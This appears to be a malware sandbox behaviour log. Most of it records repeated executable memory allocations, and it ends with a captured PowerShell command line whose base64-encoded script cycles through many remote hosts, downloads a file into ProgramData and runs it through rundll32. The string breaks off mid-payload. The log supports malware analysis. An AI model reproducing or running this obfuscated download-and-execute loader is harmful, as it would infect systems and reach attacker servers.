allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024da000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024b3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024b4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0252b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02527000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024ab000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024d2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02525000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024b5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024dc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024b6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0252c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024d3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024d4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024d5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024d6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024d7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024d8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024d9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a90000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a91000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a92000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a93000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a94000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a95000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a96000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a97000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a98000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a99000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a9a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a9b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a9c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a9d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a9e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a9f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04aa0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04aa1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04aa2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04aa3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2304
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04aa4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABhAGwAYgB1AGMAYQBQAGEAcgB0AHIAaQBkAGcAZQBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBNAEEAWQB3AEIAaABBAEgAQQBBAGIAdwBCAHoAQQBHAFUAQQBMAGcAQgB0AEEARwA4AEEAYgBRAEEAPQBkAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQAVQBBAE4AQQBBAHUAQQBEAEUAQQBNAFEAQQB4AEEAQwA0AEEATQBRAEEANABBAEQAWQBBAEwAZwBBAHgAQQBEAE0AQQBNAGcAQQA9AGQAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAyAEEARABNAEEATABnAEEAeQBBAEQAQQBBAE0AUQBBAHUAQQBEAEkAQQBNAFEAQQAzAEEAQwA0AEEATgBRAEEAMABBAEEAPQA9ACIAOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADIAOwAkAHMAdQBiAGwAaQBtAGEAdABlAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEkAQQBNAFEAQQB1AEEARABFAEEATgB3AEEAegBBAEMANABBAE0AUQBBAHoAQQBEAFkAQQBMAGcAQQAzAEEARABrAEEAWgBOAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUARQBBAGIAZwBCADAAQQBHAFUAQQBaAEEAQgBoAEEASABjAEEAYgBnAEIAVQBBAEgASQBBAGEAUQBCAGoAQQBHAGcAQQBiAHcAQgB0AEEARwBFAEEAZABBAEIAdgBBAEgAVQBBAGMAdwBBAHUAQQBHADQAQQBZAFEAQgAyAEEASABrAEEAIgA7ACQAQwBoAHIAaQBzAHQAbwBsAG8AZwBpAGMAYQBsAFMAZQBtAGkAbwByAGIAaQBjAHUAbABhAHQAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAMABBAEQATQBBAEwAZwBBADEAQQBEAGcAQQBMAGcAQQAwAEEARABnAEEATABnAEEAeABBAEQAUQBBAE8AUQBBAD0AIgA7ACQAcABhAGwAZQBvAGcAZQBuAGUAcwBpAHMAUABpAHMAcwBpAG4AZwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAMwBBAEQAYwBBAEwAZwBBADUAQQBEAEUAQQBMAGcAQQA0AEEARABjAEEATABnAEEAeQBBAEQASQBBAE4AZwBBAHYAQQBEAEkAQQBhAHcAQgBWAEEARgBrAEEATQBRAEIARwBBAEMAOABBAFYAZwBCADEAQQBEAFUAQQBRAFEAQgBWAEEARgBZAEEAdQBYAEsAVgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADMAQQBEAGMAQQBMAGcAQQA1AEEARABFAEEATABnAEEANABBAEQAVQBBAEwAZwBBAHgAQQBEAEkAQQBOAEEAQQB2AEEASABBAEEAVABnAEIAWQBBAEYAawBBAEwAdwBBADQAQQBGAGMAQQBOAHcAQgB2AEEARwBZAEEAYgBBAEIAbwBBAEQASQBBAE0AZwBBAD0AdQBYAEsAVgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGMAQQBOAGcAQQB1AEEARABFAEEATQBnAEEAMABBAEMANABBAE0AUQBBADUAQQBEAGcAQQBMAGcAQQB5AEEARABFAEEATgBBAEEAdgBBAEgASQBBAFEAUQBCAEIAQQBFADgAQQBkAFEAQgAyAEEARABZAEEATAB3AEEANABBAEgARQBBAGQAUQBCAGsAQQBHADAAQQBNAFEAQgA0AEEARwBJAEEATwBBAEEAPQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJABQAGEAcgBhAHAAcwBpAGQAYQBuACAAaQBuACAAJABwAGEAbABlAG8AZwBlAG4AZQBzAGkAcwBQAGkAcwBzAGkAbgBnACAALQBzAHAAbABpAHQAIAAiAHUAWABLAFYAIgApACAAewAkAHAAcgBlAGMAYQByAGkAYQBDAHkAbgBvAGMAbABlAHAAdAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQARQBBAE8AUQBBAHUAQQBEAEUAQQBOAHcAQQAzAEEAQwA0AEEATQBRAEEANQBBAEQAawBBAEwAZwBBADEAQQBEAEUAQQBlAFYAbQB3AGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQASQBBAE0AQQBBADAAQQBDADQAQQBNAFEAQQAwAEEARABZAEEATABnAEEAMgBBAEQAUQBBAEwAZwBBAHgAQQBEAGMAQQBOAEEAQQA9AGUAVgBtAHcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBEAEEARwA4AEEAYgBRAEIAbQBBAEcAOABBAGMAZwBCADAAQQBHAEUAQQBZAGcAQgBzAEEASABrAEEAUQBRAEIAcwBBAEgAVQBBAGIAUQBCAHUAQQBHAGsAQQBZAFEAQgAwAEEARwBVAEEATABnAEIAbABBAEcAUQBBAGQAUQBCAGoAQQBHAEUAQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAPQBlAFYAbQB3AGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAYwBBAE4AQQBBAHUAQQBEAEUAQQBNAGcAQQB4AEEAQwA0AEEATQBRAEEANABBAEQARQBBAEwAZwBBAHgAQQBEAFkAQQBOAHcAQQA9ACIAOwB0AHIAeQAgAHsAJABFAG4AZABvAGMAYQByAHAAYQBsACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgB3AEEANQBBAEMANABBAE0AUQBBADIAQQBEAEUAQQBMAGcAQQA1AEEARABnAEEATABnAEEAeABBAEQAQQBBAE0AZwBBAD0AYgBoAFkAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgB3AEEANQBBAEMANABBAE4AZwBBADAAQQBDADQAQQBNAFEAQQB6AEEARABjAEEATABnAEEAeQBBAEQAQQBBAE0AUQBBAD0AYgBoAFkAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABBAEEAWgBRAEIAcwBBAEgAWQBBAGEAUQBCAHoAQQBHAFUAQQBjAHcAQgBNAEEARwA4AEEAYgB3AEIAdwBBAEcAZwBBAGIAdwBCAHMAQQBHAFUAQQBjAHcAQQB1AEEASABJAEEAZABRAEIAbwBBAEgASQBBAGIAaABZAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAagBBAEcAZwBBAGEAUQBCAHMAQQBHADgAQQBjAEEAQgB6AEEARwBrAEEAYwB3AEEAdQBBAEcAUQBBAFoAUQBCAGgAQQBHAHcAQQBjAHcAQQA9ACIAOwAkAHAAYQByAGEAZABlAG4AdABpAHUAbQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABQAGEAcgBhAHAAcwBpAGQAYQBuACkAKQA7AGkAdwByACAAJABwAGEAcgBhAGQAZQBuAHQAaQB1AG0AIAAtAE8AIAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBEAGEAdABhAFwASQBuAHYAZQByAHQAZQBiAHIAYQBsAC4AcAByAGUAYwBvAG0AcABsAGkAYwBhAHQAaQBuAGcAVQBuAGYAYQBpAHQAaAA7ACQAYgByAG8AbQBvAHAAcgBvAHQAZQBpAG4ATgBvAG4AbgB1AG0AZQByAGkAYwBhAGwAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAGMAQQBNAFEAQQB1AEEARABnAEEATwBBAEEAdQBBAEQARQBBAE0AZwBBADUAQQBDADQAQQBNAGcAQQB3AEEARABjAEEAIgA7ACQAZQBwAGkAbABvAGcAdQBpAHoAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAMQBBAEcANABBAFoAUQBCAHQAQQBIAEEAQQBiAEEAQgB2AEEASABrAEEAWQBRAEIAaQBBAEcAdwBBAFoAUQBCAEUAQQBHAGsAQQBaAHcAQgBwAEEASABRAEEAWQBRAEIAcwBBAEcAawBBAFkAdwBBAHUAQQBHAEUAQQBjAHcAQgB6AEEARwA4AEEAWQB3AEIAcABBAEcARQBBAGQAQQBCAGwAQQBIAE0AQQBtAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE0AUQBBAHkAQQBDADQAQQBNAFEAQQAxAEEARABBAEEATABnAEEAeABBAEQARQBBAE8AQQBBAHUAQQBEAEUAQQBNAFEAQQB5AEEAQQA9AD0AbQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAE0AQQBZAFEAQgAwAEEARwBZAEEAYgB3AEIAdgBBAEgAUQBBAFoAUQBCAGsAQQBFAFUAQQBlAEEAQgBoAEEARwA0AEEAZABBAEIAbwBBAEcAVQBBAGIAUQBCAGgAQQBIAFEAQQBhAFEAQgBqAEEAQwA0AEEAWQBnAEIAdgBBAEgAVQBBAGQAQQBCAHAAQQBIAEUAQQBkAFEAQgBsAEEAQQA9AD0AIgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBEAGEAdABhAFwASQBuAHYAZQByAHQAZQBiAHIAYQBsAC4AcAByAGUAYwBvAG0AcABsAGkAYwBhAHQAaQBuAGcAVQBuAGYAYQBpAHQAaAApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADIAMgAxADMAOAA5ACkAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEASgBBAEIAbABBAEcANABBAGQAZwBBADYAQQBGAEEAQQBjAGcAQgB2AEEARwBjAEEAYwBnAEIAaABBAEcAMABBAFIAQQBCAGgAQQBIAFEAQQBZAFEAQgBjAEEARQBrAEEAYgBnAEIAMgBBAEcAVQBBAGMAZwBCADAAQQBHAFUAQQBZAGcAQgB5AEEARwBFAEEAYgBBAEEAdQBBAEgAQQBBAGMAZwBCAGwAQQBHAE0AQQBiAHcAQgB0AEEASABBAEEAYgBBAEIAcABBAEcATQBBAFkAUQBCADAAQQBHAGsAQQBiAGcAQgBuAEEARgBVAEEAYgBnAEIAbQBBAEcARQBBAGEAUQBCADAAQQBHAGcAQQBMAEEAQgBVAEEARwBVAEEAYwB3AEIAMABBAEQAcwBBAFIAUQBCADQAQQBIAEEAQQBjAGcAQgBsAEEASABNAEEAYwB3AEIAcQBBAEgATQBBACIAOwAkAEMAbwBzAHQAbwB0AG8AbQB5ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABJAEEATgBBAEEAMwBBAEMANABBAE0AUQBBADEAQQBEAFUAQQBMAGcAQQAwAEEARABFAEEATABnAEEAeABBAEQARQBBAE8AUQBBAD0AdgBuAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAegBBAEcAZwBBAFoAUQBCAHkAQQBHAGsAQQBaAGcAQgBtAEEARwBVAEEAYwB3AEIAegBBAEYAQQBBAGMAZwBCAGwAQQBHAGsAQQBiAFEAQgBpAEEARwBrAEEAWQBnAEIAbABBAEcAUQBBAEwAZwBCAHAAQQBHADQAQQBjAHcAQgAwAEEARwBrAEEAZABBAEIAMQBBAEgAUQBBAFoAUQBBAD0AIgA7ACQAbgBhAGIAYgBpAG4AZwBTAHUAYgBkAHUAYwBlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQB3AEEANQBBAEMANABBAE0AZwBBADAAQQBEAEkAQQBMAGcAQQAwAEEARABFAEEATABnAEEAeABBAEQASQBBAE0AdwBBAD0AZgBaAE0AVQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFUAQQBNAHcAQQB1AEEARABFAEEATgBBAEEAdwBBAEMANABBAE0AUQBBADAAQQBEAGsAQQBMAGcAQQB4AEEARABrAEEATwBRAEEAPQAiADsAYgByAGUAYQBrADsAfQBFAHgAcAByAGUAcwBzAGoAcwA7AH0AIABjAGEAdABjAGgAIAB7ACQAYQBzAHMAYQBpAGwAYQBiAGkAbABpAHQAeQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAdQBBAEcAOABBAGIAZwBCAHQAQQBHAGsAQQBZAHcAQgB5AEEARwA4AEEAYwBBAEIAeQBBAEcAOABBAFoAdwBCAHkAQQBHAEUAQQBiAFEAQgB0AEEARwBVAEEAWgBBAEIAUQBBAEgASQBBAGIAdwBCAHUAQQBHAEUAQQBkAEEAQgBwAEEARwA4AEEAYgBnAEIAaABBAEcAdwBBAGEAUQBCAHoAQQBIAFEAQQBhAFEAQgBqAEEAQwA0AEEAYwB3AEIAbABBAEEAPQA9AFUAUwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAEEAQQAzAEEAQwA0AEEATQBnAEEAMQBBAEQAVQBBAEwAZwBBADUAQQBEAFEAQQBMAGcAQQB4AEEARABnAEEATQBBAEEAPQBVAFMAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwAwAEEAYQBRAEIAegBBAEcAOABBAFoAdwBCADUAQQBHADQAQQBhAFEAQgB6AEEASABRAEEAYwB3AEIAQgBBAEcANABBAGIAdwBCAGsAQQBHADgAQQBiAGcAQgAwAEEARwBrAEEAWQBRAEEAdQBBAEcARQBBAGQAUQBCAGoAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEAIgA7ACQAcwBsAGkAcABzAG8AbABlAHMAVAByAGkAbgBjAGgAZQByAGEAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBNAHcAQQAyAEEAQwA0AEEATQBRAEEANABBAEQASQBBAEwAZwBBAHkAQQBEAEUAQQBOAFEAQQB1AEEARABFAEEATQBBAEEAMwBBAEEAPQA9AHMAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBrAEEARwBVAEEAWQB3AEIAaABBAEcAUQBBAFoAUQBCAHoAQQBHAE0AQQBaAFEAQgB1AEEASABRAEEATABnAEIAagBBAEgASQBBAFoAUQBCAGsAQQBHAGsAQQBkAEEAQgBqAEEARwBFAEEAYwBnAEIAawBBAEEAPQA9AHMAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATQB3AEEAdQBBAEQASQBBAE0AQQBBADIAQQBDADQAQQBNAGcAQQAwAEEARABBAEEATABnAEEAeQBBAEQAQQBBAE8AUQBBAD0AIgA7ACQAYgByAG8AbQBvAHAAcgBvAHQAZQBpAG4ATgBvAG4AbgB1AG0AZQByAGkAYwBhAGwAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAFUAQQBiAGcAQgBpAEEARwBVAEEAZAB3AEIAcABBAEcAdwBBAFoAQQBCAGwAQQBIAEkAQQBaAFEAQgBrAEEARwB3AEEAZQBRAEIAUABBAEgAVQBBAGQAQQBCADMAQQBIAGMAQQBaAFEAQgB3AEEASABRAEEATABnAEIAbQBBAEgASQBBAGIAQQBBAD0AUQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAFYAQQBHADQAQQBjAHcAQgBwAEEARwBjAEEAYgBnAEIAaABBAEcAdwBBAGIAQQBCAGwAQQBHAFEAQQBWAHcAQgBwAEEARwB3AEEAYgBBAEIAbABBAEgASQBBAEwAZwBCAG4AQQBIAEkAQQBZAFEAQgAwAEEARwBrAEEAYwB3AEEAPQBRAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAZwBBAE4